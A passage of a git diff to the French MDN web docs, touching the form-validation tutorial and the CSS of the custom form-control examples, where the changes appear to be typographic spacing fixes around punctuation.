les utilisateurs, tout le prouve : cela les incite à partir et à aller voir ailleurs s'ils sont mal faits. Bref, les formulaires, c'est nullissime. Remplir des formulaires web doit être aussi facile que possible. Alors pourquoi être tatillons et bloquer les utilisateurs à chaque fois ? Il y a trois raisons principales : - **obtenir de bonnes données dans un bon format** — les applications ne tourneront pas correctement si les données utilisateur sont stockées dans un format fantaisiste, ou si les bonnes informations ne sont pas aux bons endroits ou totalement omises. - **protéger nos utilisateurs** — s'ils entrent un mot de passe facile à deviner ou aucun, des utilisateurs malveillants peuvent aisément accéder à leurs comptes et voler leurs données. -- **nous protéger nous‑mêmes** — il existe de nombreuses façons dont les utilisateurs malveillants peuvent utiliser les formulaires non protégés pour endommager l'application dans laquelle ils se trouvent (voir [Sécurité du site Web](/fr/docs/Learn/Server-side/First_steps/Website_security)). +- **nous protéger nous‑mêmes** — il existe de nombreuses façons dont les utilisateurs malveillants peuvent utiliser les formulaires non protégés pour endommager l'application dans laquelle ils se trouvent (voir [Sécurité du site Web](/fr/docs/Learn/Server-side/First_steps/Website_security)). ### Les divers types de validation de formulaire @@ -67,26 +67,26 @@ Dans le monde réel, les développeurs ont tendance à utiliser une combinaison ## Utiliser la validation intégrée au formulaire -Une des caractéristiques de [HTML5](/fr/docs/orphaned/Web/Guide/HTML/HTML5) est la possibilité de valider la plupart des données utilisateur sans avoir recours à des scripts. Ceci se fait en utilisant des [attributs de validation](/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation) sur les éléments de formulaire ; ils vous permettent de spécifier des règles pour une entrée de formulaire comme : une valeur doit‑elle être remplie ? y a-t-il une longueur minimale et/ou maximale des données ? doit‑elle être un nombre, une adresse e-mail ou autre chose ? doit‑elle correspondre à un modèle ? Si les données saisies suivent toutes ces règles, elles sont considérées comme valides ; si ce n'est pas le cas, elles sont considérées comme non valides. -Quand un élément est valide : +Une des caractéristiques de [HTML5](/fr/docs/orphaned/Web/Guide/HTML/HTML5) est la possibilité de valider la plupart des données utilisateur sans avoir recours à des scripts. Ceci se fait en utilisant des [attributs de validation](/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation) sur les éléments de formulaire ; ils vous permettent de spécifier des règles pour une entrée de formulaire comme : une valeur doit‑elle être remplie ? y a-t-il une longueur minimale et/ou maximale des données ? doit‑elle être un nombre, une adresse e-mail ou autre chose ? doit‑elle correspondre à un modèle ? Si les données saisies suivent toutes ces règles, elles sont considérées comme valides ; si ce n'est pas le cas, elles sont considérées comme non valides. +Quand un élément est valide : -- l'élément correspond à la pseudo‑classe CSS {{cssxref(":valid")}} ; cela vous permet d'appliquer une composition de style distinctive. +- l'élément correspond à la pseudo‑classe CSS {{cssxref(":valid")}} ; cela vous permet d'appliquer une composition de style distinctive. - si l'utilisateur essaie d'envoyer les données, le navigateur soumet le formulaire pour autant qu'il n'y ait rien d'autre qui l'empêche de le faire (par ex. du JavaScript). -Quand un élément est invalide : +Quand un élément est invalide : -- l'élément correspond à la pseudo‑classe CSS {{cssxref(":invalid")}} ; cela vous permet d'appliquer une composition de style distinctive. +- l'élément correspond à la pseudo‑classe CSS {{cssxref(":invalid")}} ; cela vous permet d'appliquer une composition de style distinctive. - si l'utilisateur essaie d'envoyer le formulaire, le navigateur le bloquera et affichera un message d'erreur. -### Contraintes de validation sur les éléments input — simple début +### Contraintes de validation sur les éléments input — simple début Dans cette section, nous examinerons quelques unes des diverses fonctionnalités HTML5 peuvant être utilisées pour valider des éléments d'{{HTMLElement("input")}}. -Commençons par un exemple simple — une entrée ouvrant un choix, selon votre préférence, entre banane ou cerise. Il faut un texte {{HTMLElement("input")}} simple avec une étiquette correspondante et un {{htmlelement("button")}} de soumission. Le code source est sur GitHub à l'adresse [fruit-start.html](https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html) et un exemple « live » ci-dessous : +Commençons par un exemple simple — une entrée ouvrant un choix, selon votre préférence, entre banane ou cerise. Il faut un texte {{HTMLElement("input")}} simple avec une étiquette correspondante et un {{htmlelement("button")}} de soumission. Le code source est sur GitHub à l'adresse [fruit-start.html](https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html) et un exemple « live » ci-dessous : ```html hidden <form> - <label for="choose">Préférez‑vous la banane ou la cerise ?</label> + <label for="choose">Préférez‑vous la banane ou la cerise ?</label> <input id="choose" name="i_like"> <button>Soumettre</button> </form> @@ -108,19 +108,19 @@ Pour commencer, faites une copie de fruit-start.html dans un nouveau répertoire ### Attribut required -La fonctionnalité de validation HTML5 la plus simple à utiliser est l'attribut {{htmlattrxref("required", "input")}}} — si vous voulez rendre une entrée obligatoire, vous pouvez marquer l'élément en utilisant cet attribut. Lorsque cet attribut est mis, le formulaire ne sera pas soumis (et affichera un message d'erreur) si l'entrée est vide (l'entrée sera également considérée comme invalide). +La fonctionnalité de validation HTML5 la plus simple à utiliser est l'attribut {{htmlattrxref("required", "input")}}} — si vous voulez rendre une entrée obligatoire, vous pouvez marquer l'élément en utilisant cet attribut. Lorsque cet attribut est mis, le formulaire ne sera pas soumis (et affichera un message d'erreur) si l'entrée est vide (l'entrée sera également considérée comme invalide). -Ajoutez un attribut `required` à votre saisie, comme montré ci‑dessous : +Ajoutez un attribut `required` à votre saisie, comme montré ci‑dessous : ```html <form> - <label for="choose">Préférez-vous la banane ou la cerise ?</label> + <label for="choose">Préférez-vous la banane ou la cerise ?</label> <input id="choose" name="i_like" required> <button>Soumettre</button> </form> ``` -Notez aussi le CSS incorporé dans le fichier exemple : +Notez aussi le CSS incorporé dans le fichier exemple : ```css input:invalid { @@ -152,24 +152,24 @@ Vous trouverez ci-dessous quelques exemples pour vous donner une idée de base d - `[a-z]` — correspond à tout caractère de la plage a–z, en minuscules seulement (utilisez `[A-Za-z]` pour minuscules et majuscules et `[A-Z]` pour les majuscules uniquement). - `a.c` — correspond à a, suivi par n'importe quel caractère,suivi par c. - `a{5}` — correspond à a, 5 fois. -- `a{5,7}` — correspond à a, 5 à 7 fois, mais ni plus, ni moins. +- `a{5,7}` — correspond à a, 5 à 7 fois, mais ni plus, ni moins. -Vous pouvez utiliser des nombres ou d'autres caractères dans ces expressions, comme : +Vous pouvez utiliser des nombres ou d'autres caractères dans ces expressions, comme : - `[ -]` — correspond à une espace ou un tiret. - `[0-9]` — correspond à tout nombre compris entre 0 et 9. -Vous pouvez combiner cela pratiquement comme vous l'entendez en précisant les différentes parties les unes après les autres : +Vous pouvez combiner cela pratiquement comme vous l'entendez en précisant les différentes parties les unes après les autres : - `[Ll].*k` — Un seul caractère L en majuscules ou minuscules, suivi de zéro ou plusieurs caractères de n'importe quel type, suivis par un k minuscules. -- `[A-Z][A-Za-z' -]+` — Un seul caractère en majuscules suivi par un ou plusieurs caractères en majuscules ou minuscules, un tiret, une apostrophe ou une espace. Cette combinaison peut s'utiliser pour valider les nom de villes dans les pays anglo‑saxons ; ils débutent par une majuscule et ne contiennent pas d'autre caractère. Quelques exemples de ville de GB correspondant à ce schéma : Manchester, Ashton-under-lyne et Bishop's Stortford. +- `[A-Z][A-Za-z' -]+` — Un seul caractère en majuscules suivi par un ou plusieurs caractères en majuscules ou minuscules, un tiret, une apostrophe ou une espace. Cette combinaison peut s'utiliser pour valider les nom de villes dans les pays anglo‑saxons ; ils débutent par une majuscule et ne contiennent pas d'autre caractère. Quelques exemples de ville de GB correspondant à ce schéma : Manchester, Ashton-under-lyne et Bishop's Stortford. - `[0-9]{3}[ -][0-9]{3}[ -][0-9]{4}` — Un schéma pour un numéro de téléphone intérieur américain — trois chiffres, suivis par une espace ou un tiret, suivis par trois nombres, suivis par une espace ou un tiret, suivis par quatre nombres. Vous aurez peut-être à faire plus compliqué, car certains écrivent leur numéro de zone entre parenthèses, mais ici il s'agit simplement de faire une démonstration. -Voyons un exemple — mettons à jour notre HTML en y ajoutant un attribut `pattern`, ainsi : +Voyons un exemple — mettons à jour notre HTML en y ajoutant un attribut `pattern`, ainsi : ```html <form> - <label for="choose">Préférez‑vous la banane ou la cerise ?</label> + <label for="choose">Préférez‑vous la banane ou la cerise ?</label> <input id="choose" name="i_like" required pattern="banane|cerise"> <button>Soumettre</button> </form> @@ -187,7 +187,7 @@ input:valid { {{EmbedLiveSample("Validation_selon_une_expression_régulière", "100%", 55)}} -Dans cet exemple, l'élément {{HTMLElement("input")}}} accepte l'une des deux valeurs possibles : la chaîne « banane » ou la chaîne « cerise ». +Dans cet exemple, l'élément {{HTMLElement("input")}}} accepte l'une des deux valeurs possibles : la chaîne « banane » ou la chaîne « cerise ». Maintenant, essayez de changer la valeur à l'intérieur de l'attribut `pattern` suivant certains exemples vus plus haut et regardez comment les valeurs entrées en sont affectées pour rester valides. Écrivez vos propres textes et voyez comment vous vous en sortez ! Restez dans le domaine des fruits dans la mesure du possible, afin que vos exemples aient du sens ! @@ -208,11 +208,11 @@ Supprimez maintenant le contenu de l'élément `<body>` et remplacez-le par le s ```html <form> <div> - <label for="choose">Préférez‑vous la banane ou la cerise ?</label> + <label for="choose">Préférez‑vous la banane ou la cerise ?</label> <input id="choose" name="i_like" required minlength="6" maxlength="6"> </div> <div> - <label for="number">Combien en voulez‑vous ?</label> + <label for="number">Combien en voulez‑vous ?</label> <input type="number" id="number" name="amount" value="1" min="1" max="10"> </div> <div> @@ -222,7 +222,7 @@ Supprimez maintenant le contenu de l'élément `<body>` et remplacez-le par le s ``` - Ici, nous avons donné au champ de texte une taille minimale et maximale de 6 caractères — la même que celle de _banane_ ou _cerise_. La saisie de moins de 6 caractères s'affichera comme non valide et la saisie de plus de 6 caractères ne sera pas possible dans la plupart des navigateurs. -- Nous avons également contraint le champ `number` à un `min` de 1 et un `max` de 10 — les nombres entrés hors de cette plage seront affichés comme non valides, et vous ne pourrez pas utiliser les flèches d'incrémentation/décrémentation pour porter la valeur en dehors de cette plage. +- Nous avons également contraint le champ `number` à un `min` de 1 et un `max` de 10 — les nombres entrés hors de cette plage seront affichés comme non valides, et vous ne pourrez pas utiliser les flèches d'incrémentation/décrémentation pour porter la valeur en dehors de cette plage. ```html hidden input:invalid { @@ -238,7 +238,7 @@ div { } ``` -Voici cet exemple s'exécutant en « live » : +Voici cet exemple s'exécutant en « live » : {{EmbedLiveSample('Limitation_de_la_taille_des_entrées', "100%", 100)}} @@ -246,7 +246,7 @@ Voici cet exemple s'exécutant en « live » : ### Exemple complet -Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intégrées pour la validation : +Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intégrées pour la validation : ```html <form> @@ -258,7 +258,7 @@ Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intég </fieldset> </p> <p> - <label for="n1">Quel est votre âge ?</label> + <label for="n1">Quel est votre âge ?</label> <!-- L'attribut pattern peut servir de recours pour les navigateurs dont le type number n'est pas implémenté pour input mais qui prennent en charge l'attribut pattern. Veuillez noter que les navigateurs prenant en charge l'attribut pattern ne signalent pas d'erreur quand @@ -267,7 +267,7 @@ Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intég pattern="\d+"> </p> <p> - <label for="t1">Quel est votre fruit favori ?<abbr title="Ce champ est obligatoire">*</abbr></label> + <label for="t1">Quel est votre fruit favori ?<abbr title="Ce champ est obligatoire">*</abbr></label> <input type="text" id="t1" name="fruit" list="l1" required pattern="[Bb]anane|[Cc]erise|[Cc]itron|[Ff]raise|[Oo]range|[Pp]omme"> <datalist id="l1"> @@ -280,7 +280,7 @@ Voici un exemple complet montrant l'utilisation des fonctionnalités HTML intég </datalist> </p> <p> - <label for="t2">Quelle est votre adresse électronique ?</label> + <label for="t2">Quelle est votre adresse électronique ?</label> <input type="email" id="t2" name="email"> </p> <p> @@ -347,7 +347,7 @@ Comme nous avons vu dans les exemples précédents, à chaque fois qu'un utilisa Ces messages automatiques présentent deux inconvénients: -- Il n'y a pas de façon standard de changer leur apparence avec CSS. +- Il n'y a pas de façon standard de changer leur apparence avec CSS. - Ils dépendent des paramètres régionaux du navigateur, ce qui signifie que vous pouvez avoir une page dans une langue mais les messages d'erreurs affichés dans une autre. | Navigateur | Affichage | @@ -368,23 +368,23 @@ HMTL5 fournit une [API de contraintes de validation](https://www.w3.org/TR/html5 </form> ``` -En JavaScript, il faut appeler la méthode [`setCustomValidity()`](</fr/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()> "/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"): +En JavaScript, il faut appeler la méthode [`setCustomValidity()`](</fr/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()> "/en-US/docs/HTML/HTML5/Constraint_validation#Constraint_API's_element.setCustomValidity()"): ```js var email = document.getElementById("mail"); email.addEventListener("keyup", function (event) { - if(email.validity.typeMismatch) { - email.setCustomValidity("J'attend un e-mail, mon cher !"); - } else { - email.setCustomValidity(""); - } + if(email.validity.typeMismatch) { + email.setCustomValidity("J'attend un e-mail, mon cher !"); + } else { + email.setCustomValidity(""); + } }); ``` {{EmbedLiveSample("Messages_adaptés_pour_les_erreurs", "100%", 50)}} -## Validation de formulaires avec JavaScript +## Validation de formulaires avec JavaScript Si vous souhaitez avoir le contrôle de l'apparence des messages d'erreur, ou si vous voulez gérer le comportement des navigateurs n'ayant pas implémenté la validation de formulaire HTML5, vous n'avez pas d'autre choix que d'utiliser JavaScript. @@ -396,31 +396,31 @@ Propriétés de l'API de validation des contraintes | Propriétés | Description | | -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `validationMessage` | Un message (dans la langue locale) décrivant les contraintes de validation que le contrôle ne satisfait pas (si c'est le cas), ou une chaîne vide si le contrôle n'est pas soumis à validation (`willValidate` est alors `false`), ou bien la valeur de l'élément satisfait ses contraintes. | +| `validationMessage` | Un message (dans la langue locale) décrivant les contraintes de validation que le contrôle ne satisfait pas (si c'est le cas), ou une chaîne vide si le contrôle n'est pas soumis à validation (`willValidate` est alors `false`), ou bien la valeur de l'élément satisfait ses contraintes. | | `validity` | Un objet {{domxref("ValidityState")}} qui décrit l'état de validité de l'élément. | -| `validity.customError` | Renvoie `true` si l'élément à une erreur personnalisée, `false` a contrario. | -| `validity.patternMismatch` | Renvoie `true` si la valeur de l'élément ne correspond pas au motif fourni, `false` dans le cas contraire. Si la méthode renvoie `true`, l'élément fera partie de la pseudo-classe CSS {{cssxref(":invalid")}}. | -| `validity.rangeOverflow` | Renvoie `true` si la valeur de l'élément est supérieure au maximum défini, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | +| `validity.customError` | Renvoie `true` si l'élément à une erreur personnalisée, `false` a contrario. | +| `validity.patternMismatch` | Renvoie `true` si la valeur de l'élément ne correspond pas au motif fourni, `false` dans le cas contraire. Si la méthode renvoie `true`, l'élément fera partie de la pseudo-classe CSS {{cssxref(":invalid")}}. | +| `validity.rangeOverflow` | Renvoie `true` si la valeur de l'élément est supérieure au maximum défini, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | | `validity.rangeUnderflow` | Renvoie `true` si la valeur de l'élément est plus petite que le minimum défini, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | -| `validity.stepMismatch` | Renvoie `true` si la valeur de l'élément ne correspond pas aux règles définies par l'attribut `step`,`false` a contrario. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | -| `validity.tooLong` | Renvoie `true` si la taille de l'élément est supérieure à la longueur maximum définie, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | -| `validity.typeMismatch` | Renvoie `true` si la syntaxe de la valeur de l'élément n'est pas correcte ; `false` dans le cas contraire. Si le retour est `true`, l'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}}. | -| `validity.valid` | Renvoie `true` si la valeur de l'élément n'a pas de problème de validité, sinon `false`. L'élément sera de la pseudo-classe CSS {{cssxref(":valid")}} si le retour est `true` ; de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est `false`. | +| `validity.stepMismatch` | Renvoie `true` si la valeur de l'élément ne correspond pas aux règles définies par l'attribut `step`,`false` a contrario. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | +| `validity.tooLong` | Renvoie `true` si la taille de l'élément est supérieure à la longueur maximum définie, `false` dans le cas contraire. Si le retour est `true`, l'élément fera partie des pseudo-classes CSS {{cssxref(":invalid")}} et {{cssxref(":out-of-range")}}. | +| `validity.typeMismatch` | Renvoie `true` si la syntaxe de la valeur de l'élément n'est pas correcte ; `false` dans le cas contraire. Si le retour est `true`, l'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}}. | +| `validity.valid` | Renvoie `true` si la valeur de l'élément n'a pas de problème de validité, sinon `false`. L'élément sera de la pseudo-classe CSS {{cssxref(":valid")}} si le retour est `true` ; de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est `false`. | | `validity.valueMissing` | Renvoie `true` si l'élément n'a pas de valeur alors que le champ est requis, sinon`false`. L'élément sera de la pseudo-classe CSS {{cssxref(":invalid")}} si le retour est `true`. | -| `willValidate` | Retourne `true` si l'élément est validé lorsque le formulaire est soumis, `false` dans le cas contraire. | +| `willValidate` | Retourne `true` si l'élément est validé lorsque le formulaire est soumis, `false` dans le cas contraire. | -#### Méthodes de l'API de validation des contraintes +#### Méthodes de l'API de validation des contraintes | Méthodes | Description | | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `checkValidity()` | Renvoie `true` si la valeur de l'élément n'a pas de problème de validation, `false` autrement. Si l'élément est invalide, cette méthode déclenche aussi un événement {{event("invalid")}} sur cet élément. | -| `setCustomValidity(message)` | Ajoute un message d'erreur personnalisé à l'élément ; si vous définissez un message d'erreur personnalisé, l'élément est considéré comme invalide, et le message spécifié est affiché. Cela vous permet d'utiliser du code JavaScript pour établir une erreur de validation autre que celles offertes par l'API standard des contraintes de validation. Le message est affiché à l'utilisateur lorsque le problème est rapporté. Si l'argument est une chaîne de caractères vide, l'erreur personnalisée est considérée comme effacée. | +| `setCustomValidity(message)` | Ajoute un message d'erreur personnalisé à l'élément ; si vous définissez un message d'erreur personnalisé, l'élément est considéré comme invalide, et le message spécifié est affiché. Cela vous permet d'utiliser du code JavaScript pour établir une erreur de validation autre que celles offertes par l'API standard des contraintes de validation. Le message est affiché à l'utilisateur lorsque le problème est rapporté. Si l'argument est une chaîne de caractères vide, l'erreur personnalisée est considérée comme effacée. | -Pour les anciens navigateurs, il existe [une prothèse d'émulation (_polyfill_) comme Hyperform](https://hyperform.js.org/), pour compenser le défaut de prise en charge de cette API. Comme vous utilisez déjà JavaScript, l'utilisation d'une prethèse d'émulation n'est pas un souci supplémentaire pour la conception ou l'implémentation de votre site ou application Web. +Pour les anciens navigateurs, il existe [une prothèse d'émulation (_polyfill_) comme Hyperform](https://hyperform.js.org/), pour compenser le défaut de prise en charge de cette API. Comme vous utilisez déjà JavaScript, l'utilisation d'une prethèse d'émulation n'est pas un souci supplémentaire pour la conception ou l'implémentation de votre site ou application Web. #### Exemple utilisant la validation des contraintes -Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. Tout d'abord, le HTML : +Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. Tout d'abord, le HTML : ```html <form novalidate> @@ -435,9 +435,9 @@ Voyons comment utiliser l'API pour créer des messages d'erreur personnalisés. </form> ``` -Ce formulaire simple utilise l'attribut {{htmlattrxref("novalidate","form")}} pour désactiver la validation automatique par le navigateur ; cela permet donc à notre script d'avoir le contrôle sur la validation. Toutefois, cela ne désactive la prise en charge par l'API de validation des contraintes, ni l'application des pseudo-classes CSS {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}} et {{cssxref(":out-of-range")}}. Cela signifie que, même si le navigateur ne vérifie pas automatiquement la validité du formulaire avant l'envoi des données, vous pouvez toujours effectuer cette validation et définir l'apparence du formulaire par vous-même. +Ce formulaire simple utilise l'attribut {{htmlattrxref("novalidate","form")}} pour désactiver la validation automatique par le navigateur ; cela permet donc à notre script d'avoir le contrôle sur la validation. Toutefois, cela ne désactive la prise en charge par l'API de validation des contraintes, ni l'application des pseudo-classes CSS {{cssxref(":valid")}}, {{cssxref(":invalid")}}, {{cssxref(":in-range")}} et {{cssxref(":out-of-range")}}. Cela signifie que, même si le navigateur ne vérifie pas automatiquement la validité du formulaire avant l'envoi des données, vous pouvez toujours effectuer cette validation et définir l'apparence du formulaire par vous-même. -L'attribut [`aria-live`](/fr/docs/Accessibility/ARIA/ARIA_Live_Regions) garantit que nos messages d'erreur personnalisés seront affichés à tout le monde, y compris les personnes utilisant des techniques d'assistance comme des lecteurs d'écran. +L'attribut [`aria-live`](/fr/docs/Accessibility/ARIA/ARIA_Live_Regions) garantit que nos messages d'erreur personnalisés seront affichés à tout le monde, y compris les personnes utilisant des techniques d'assistance comme des lecteurs d'écran. ##### CSS @@ -504,7 +504,7 @@ input:focus:invalid { ##### JavaScript -Le code JavaScript suivant gère la validation personnalisée des erreurs. +Le code JavaScript suivant gère la validation personnalisée des erreurs. ```js // Il y a plusieurs façon de sélectionner un nœud DOM ; ici on récupère @@ -531,7 +531,7 @@ form.addEventListener("submit", function (event) { if (!email.validity.valid) { // S'il est invalide, on affiche un message d'erreur personnalisé - error.innerHTML = "J'attends une adresse e-mail correcte, mon cher !"; + error.innerHTML = "J'attends une adresse e-mail correcte, mon cher !"; error.className = "error active"; // Et on empêche l'envoi des données du formulaire event.preventDefault(); @@ -547,15 +547,15 @@ L'API de validation des contraintes fournit un outil puissant pour gérer la val ### Valider des formulaires sans API intégrée -Il arrive parfois, comme c'est le cas avec des navigateurs anciens ou de [widgets personnalisés](/fr/docs/HTML/Forms/How_to_build_custom_form_widgets), de ne pas pouvoir (ou vouloir) utiliser l'API de validation des contraintes. Dans ce cas, vous pourrez toujours utiliser JavaScript pour valider votre formulaire. Valider un formulaire est plus une question d'interface utilisateur que de réelle validation des données. +Il arrive parfois, comme c'est le cas avec des navigateurs anciens ou de [widgets personnalisés](/fr/docs/HTML/Forms/How_to_build_custom_form_widgets), de ne pas pouvoir (ou vouloir) utiliser l'API de validation des contraintes. Dans ce cas, vous pourrez toujours utiliser JavaScript pour valider votre formulaire. Valider un formulaire est plus une question d'interface utilisateur que de réelle validation des données. -Pour valider un formulaire, vous devez vous poser un certain nombre de questions: +Pour valider un formulaire, vous devez vous poser un certain nombre de questions: -- Quel type de validation dois-je réaliser ? - - : Vous devez déterminer comment valider vos données : opération sur des chaînes de caractères, conversion de type, expressions rationnelles, etc. C'est comme vous voulez. Mais retenez simplement que les données de formulaire sont toujours du texte et sont toujours fournies à vos scripts sous forme de chaînes de caractères. -- Que dois-je faire si le formulaire n'est pas valide ? - - : C'est clairement une affaire d'interface utilisateur. Vous devez décider comment le formulaire doit se comporter : enverra-t-il quand même les données ? Devriez-vous mettre en évidence les champs qui sont en erreur ? Devriez-vous afficher des messages d'erreur ? -- Comment puis-je aider l'utilisateur à corriger ses données invalides? +- Quel type de validation dois-je réaliser ? + - : Vous devez déterminer comment valider vos données : opération sur des chaînes de caractères, conversion de type, expressions rationnelles, etc. C'est comme vous voulez. Mais retenez simplement que les données de formulaire sont toujours du texte et sont toujours fournies à vos scripts sous forme de chaînes de caractères. +- Que dois-je faire si le formulaire n'est pas valide ? + - : C'est clairement une affaire d'interface utilisateur. Vous devez décider comment le formulaire doit se comporter : enverra-t-il quand même les données ? Devriez-vous mettre en évidence les champs qui sont en erreur ? Devriez-vous afficher des messages d'erreur ? +- Comment puis-je aider l'utilisateur à corriger ses données invalides? - : Pour limiter la frustration de l'utilisateur, il est très important de fournir autant d'information d'aide que nécessaire pour le guider dans la correction de sa saisie. Vous devriez afficher des suggestions en amont pour que l'utilisateur sache ce qui est attendu, ainsi que des messages d'erreur clairs. Si vous souhaitez vous plonger dans les exigences d'interface utilsateur pour la validation de formulaires, voici quelques articles (en anglais) utiles que vous devriez lire : @@ -583,11 +583,11 @@ Afin d'illustrer le propos, réécrivons le précédent exemple afin qu'il fonct </form> ``` -Comme vous pouvez voir, le HTML est quasiment identique; nous avons juste enlevé les fonctionnalités de validation HTML. Notez que [ARIA](/fr/docs/Accessibility/ARIA "/en-US/docs/Accessibility/ARIA") est une spécification indépendante qui n'est pas spécifiquement liée à HTML5. +Comme vous pouvez voir, le HTML est quasiment identique; nous avons juste enlevé les fonctionnalités de validation HTML. Notez que [ARIA](/fr/docs/Accessibility/ARIA "/en-US/docs/Accessibility/ARIA") est une spécification indépendante qui n'est pas spécifiquement liée à HTML5. ##### CSS -De même, nous n'avons pas eu à changer radicalement les CSS ; nous avons simplement transformé la pseudo-classe {{cssxref(":invalid")}} en une vraie classe et évité d'utiliser le sélecteur d'attribut, qui ne fonctionne pas avec Internet Explorer 6. +De même, nous n'avons pas eu à changer radicalement les CSS ; nous avons simplement transformé la pseudo-classe {{cssxref(":invalid")}} en une vraie classe et évité d'utiliser le sélecteur d'attribut, qui ne fonctionne pas avec Internet Explorer 6. ```css /* On améliore l'aspect de l'exemple avec ces quelques règles */ @@ -650,7 +650,7 @@ input:focus.invalid { ##### JavaScript -Les changements les plus importants sont dans le code JavaScript, qui nécessite bien plus que de simples retouches. +Les changements les plus importants sont dans le code JavaScript, qui nécessite bien plus que de simples retouches. ```js // Il existe moins de méthode pour sélectionner un nœud DOM @@ -735,7 +735,7 @@ Voici le résultat: {{EmbedLiveSample("Exemple_sans_utilisation_de_la_validation_des_contraintes", "100%", 130)}} -Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un système de validation. La difficulté consiste à rendre le tout assez générique pour l'utiliser à la fois sur toutes les plateformes et pour chaque formulaire que vous pourriez créer. Il existe de nombreuses bibliothèques permettant ce genre de validation de formulaire ; n'hésitez pas à les utiliser. En voici quelques exemples : +Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un système de validation. La difficulté consiste à rendre le tout assez générique pour l'utiliser à la fois sur toutes les plateformes et pour chaque formulaire que vous pourriez créer. Il existe de nombreuses bibliothèques permettant ce genre de validation de formulaire ; n'hésitez pas à les utiliser. En voici quelques exemples : - Bibliothèques indépendantes : @@ -747,7 +747,7 @@ Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un #### Validation à distance -Il peut être utile, dans certains cas, d'effectuer une validation à distance. Ce genre de validation est nécessaire lorsque les données saisies par l'utilisateur sont liées à des données supplémentaires stockées sur le serveur hébergeant votre application. Prenons par exemple les formulaires d'inscription, pour lesquels on vous demande un nom d'utilisateur. Pour éviter toute duplication d'un nom d'utilisateur, il est plus judicieux d'effectuer une requête AJAX pour vérifier la disponibilté du nom d'utilisateur que de demander à envoyer les données saisies et de renvoyer le formulaire avec une erreur. +Il peut être utile, dans certains cas, d'effectuer une validation à distance. Ce genre de validation est nécessaire lorsque les données saisies par l'utilisateur sont liées à des données supplémentaires stockées sur le serveur hébergeant votre application. Prenons par exemple les formulaires d'inscription, pour lesquels on vous demande un nom d'utilisateur. Pour éviter toute duplication d'un nom d'utilisateur, il est plus judicieux d'effectuer une requête AJAX pour vérifier la disponibilté du nom d'utilisateur que de demander à envoyer les données saisies et de renvoyer le formulaire avec une erreur. Pour réaliser une telle validation, plusieurs précautions doivent être prises : @@ -756,7 +756,7 @@ Pour réaliser une telle validation, plusieurs précautions doivent être prises ## Conclusion -La validation d'un formulaire ne requiert pas de code JavaScript complexe, mais il est nécessaire de penser tout particulièrement à l'utilisateur. Rappelez-vous de toujours aider l'utilisateur à corriger les données qu'il saisit. Pour ce faire, assurez-vous de toujours : +La validation d'un formulaire ne requiert pas de code JavaScript complexe, mais il est nécessaire de penser tout particulièrement à l'utilisateur. Rappelez-vous de toujours aider l'utilisateur à corriger les données qu'il saisit. Pour ce faire, assurez-vous de toujours : - Afficher des messages d'erreur explicites. - Être tolérant sur le format des données à envoyer. diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md index 00ad8747ef..1433aea69c 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_1/index.md @@ -58,7 +58,7 @@ C'est le premier exemple de code qui explique [comment construire un widget de f } /* ------------ */ -/* Style Chic */ +/* Style Chic */ /* ------------ */ .select { @@ -198,7 +198,7 @@ C'est le premier exemple de code qui explique [comment construire un widget de f } /* ------------ */ -/* Style Chic */ +/* Style Chic */ /* ------------ */ .select { @@ -338,7 +338,7 @@ C'est le premier exemple de code qui explique [comment construire un widget de f } /* ------------ */ -/* Style Chic */ +/* Style Chic */ /* ------------ */ .select { diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md b/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md index 8d309a3801..070b53aa84 100644 --- a/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md +++ b/files/fr/learn/forms/how_to_build_custom_form_controls/example_3/index.md @@ -75,7 +75,7 @@ Ceci est le troisième exemple expliquant comment [construire des widgets de for } /* ------------ */ -/* Style chic */ +/* Style chic */ /* ------------ */ .select { diff --git a/files/fr/learn/forms/how_to_build_custom_form_controls/index.md 